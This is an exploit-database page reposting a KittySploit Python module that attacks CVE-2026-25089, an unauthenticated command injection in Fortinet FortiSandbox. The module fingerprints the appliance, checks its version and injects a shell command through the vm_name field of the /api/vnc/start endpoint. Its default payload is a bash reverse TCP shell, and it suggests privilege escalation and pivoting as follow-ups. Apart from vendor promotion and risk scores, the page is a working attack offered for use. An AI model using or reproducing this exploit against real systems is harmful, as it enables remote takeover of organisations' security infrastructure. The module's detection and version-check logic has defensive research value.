Lucene search
+L

Fortinet FortiSandbox CVE-2026-25089 OS command injection

🗓️ 10 Jul 2026 11:31:42Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Unauthenticated OS command injection in FortiSandbox web UI VNC start handler.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import json
import re
from typing import Optional, Tuple

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Fortinet FortiSandbox CVE-2026-25089 OS command injection",
        "description": (
            "CVE-2026-25089: unauthenticated OS command injection in the FortiSandbox web UI "
            "VNC start handler. Attacker-controlled JSON fields (vm_name, extra) are interpolated "
            "into start_vnc.sh without sanitisation (CWE-78)."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-25089"],
        "platform": Platform.LINUX,
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-25089",
            "https://www.fortiguard.com/psirt/FG-IR-26-141",
        ],
        "tags": [
            "fortinet",
            "fortisandbox",
            "command-injection",
            "cwe-78",
            "rce",
            "unauthenticated",
            "cve-2026-25089",
        ],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["fortinet", "fortisandbox"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    port = OptPort(443, "FortiSandbox HTTPS port", True)
    ssl = OptBool(True, "Use HTTPS", True, advanced=True)
    api_path = OptString(
        "/api/vnc/start",
        "VNC start API path",
        required=False,
    )
    vm_name = OptString(
        "",
        "vm_name field override (command injected when empty)",
        required=False,
        advanced=True,
    )
    vnc_port = OptString("5900", "vnc_port JSON field", required=False)
    extra = OptString("", "extra JSON field (secondary injection point)", required=False)
    verify_cmd = OptString("id", "Command used during check()", required=False)

    _VERSION_PATTERNS = (
        re.compile(r"fortisandbox[^0-9]{0,24}(5\.\d+\.\d+)", re.I),
        re.compile(r"fortisandbox[^0-9]{0,24}(4\.\d+\.\d+)", re.I),
        re.compile(r'"version"\s*:\s*"(5\.\d+\.\d+)"', re.I),
        re.compile(r'"version"\s*:\s*"(4\.\d+\.\d+)"', re.I),
        re.compile(r"FortiSandbox\s+v?(5\.\d+\.\d+)", re.I),
        re.compile(r"FortiSandbox\s+v?(4\.\d+\.\d+)", re.I),
    )

    _PROBE_PATHS = ("/", "/login", "/api/vnc/start")

    @staticmethod
    def _version_tuple(value: str) -> Tuple[int, ...]:
        parts = []
        for token in re.findall(r"\d+", value or ""):
            parts.append(int(token))
        while len(parts) < 3:
            parts.append(0)
        return tuple(parts[:3])

    @classmethod
    def _parse_version(cls, text: str) -> str:
        for pattern in cls._VERSION_PATTERNS:
            match = pattern.search(text or "")
            if match:
                return match.group(1).strip()
        return ""

    @classmethod
    def _is_vulnerable_version(cls, version: str) -> Optional[bool]:
        if not version:
            return None
        major, minor, patch = cls._version_tuple(version)
        if major == 5 and minor == 0:
            return patch <= 5
        if major == 4 and minor == 4:
            return patch <= 8
        if major == 4 and minor == 2:
            return True
        return False

    @staticmethod
    def _looks_like_fortisandbox(body: str, headers: dict) -> bool:
        text = (body or "").lower()
        if "fortisandbox" in text or "forti sandbox" in text:
            return True
        blob = " ".join(f"{k}:{v}" for k, v in (headers or {}).items()).lower()
        return "fortinet" in blob and "sandbox" in text

    def _normalized_api_path(self) -> str:
        path = str(self.api_path or "/api/vnc/start").strip()
        if not path.startswith("/"):
            path = "/" + path
        return path

    def _build_injection_payload(self, command: str) -> dict:
        manual_vm = str(self.vm_name or "").strip()
        if manual_vm:
            vm_value = manual_vm
        else:
            vm_value = f"ks-poc; {command}"
        return {
            "vm_name": vm_value,
            "vnc_port": str(self.vnc_port or "5900"),
            "extra": str(self.extra or ""),
        }

    def _post_vnc_start(self, payload: dict):
        return self.http_request(
            method="POST",
            path=self._normalized_api_path(),
            json=payload,
            headers={
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (compatible; KittySploit-CVE-2026-25089)",
            },
            timeout=max(int(self.timeout or 15), 15),
            allow_redirects=False,
        )

    def _fingerprint(self) -> Tuple[bool, str, str]:
        version = ""
        evidence = ""
        for path in self._PROBE_PATHS:
            response = self.http_request(
                method="GET",
                path=path,
                allow_redirects=True,
                timeout=max(int(self.timeout or 10), 10),
            )
            if not response:
                continue
            body = response.text or ""
            headers = dict(response.headers)
            if self._looks_like_fortisandbox(body, headers):
                evidence = path
            parsed = self._parse_version(body)
            if parsed:
                version = parsed
                evidence = evidence or path
            if version and evidence:
                break
        return bool(evidence), version, evidence

    def check(self):
        detected, version, path = self._fingerprint()
        if not detected:
            return {
                "vulnerable": False,
                "reason": "FortiSandbox fingerprint not found",
                "confidence": "low",
            }

        vuln = self._is_vulnerable_version(version)
        if vuln is False:
            return {
                "vulnerable": False,
                "reason": f"FortiSandbox {version} appears patched for CVE-2026-25089",
                "confidence": "high",
            }

        reason = "FortiSandbox detected"
        if version:
            reason = f"FortiSandbox {version} detected at {path}"
            if vuln:
                reason += "; version within CVE-2026-25089 affected range"
            else:
                reason += "; version unknown for CVE-2026-25089 range check"

        return {
            "vulnerable": True if vuln is not False else False,
            "reason": reason,
            "confidence": "high" if vuln else "medium",
            "version": version or None,
        }

    def run(self):
        detected, version, path = self._fingerprint()
        if not detected:
            print_error("FortiSandbox was not detected on the target")
            return False

        if version:
            print_info(f"FortiSandbox version hint: {version} (seen at {path})")
            if self._is_vulnerable_version(version) is False:
                print_error(f"Version {version} appears patched for CVE-2026-25089")
                return False

        command = str(self.payload or "").strip()
        if not command:
            print_error("No payload configured")
            return False

        payload = self._build_injection_payload(command)
        print_status(f"Sending command injection to {self._normalized_api_path()}")
        print_debug(json.dumps(payload, indent=2))

        response = self._post_vnc_start(payload)
        if not response:
            print_error("No response from VNC start endpoint")
            return False

        code = response.status_code
        body = (response.text or "")[:2000]
        print_info(f"HTTP {code}")
        if body:
            print_info(body)

        if code in (200, 201, 202, 204, 400, 500, 502):
            print_success(
                "Injection request accepted; command may execute asynchronously (blind RCE)"
            )
            return True

        print_error(f"Unexpected HTTP status: {code}")
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
EPSS0.76112
SSVC
1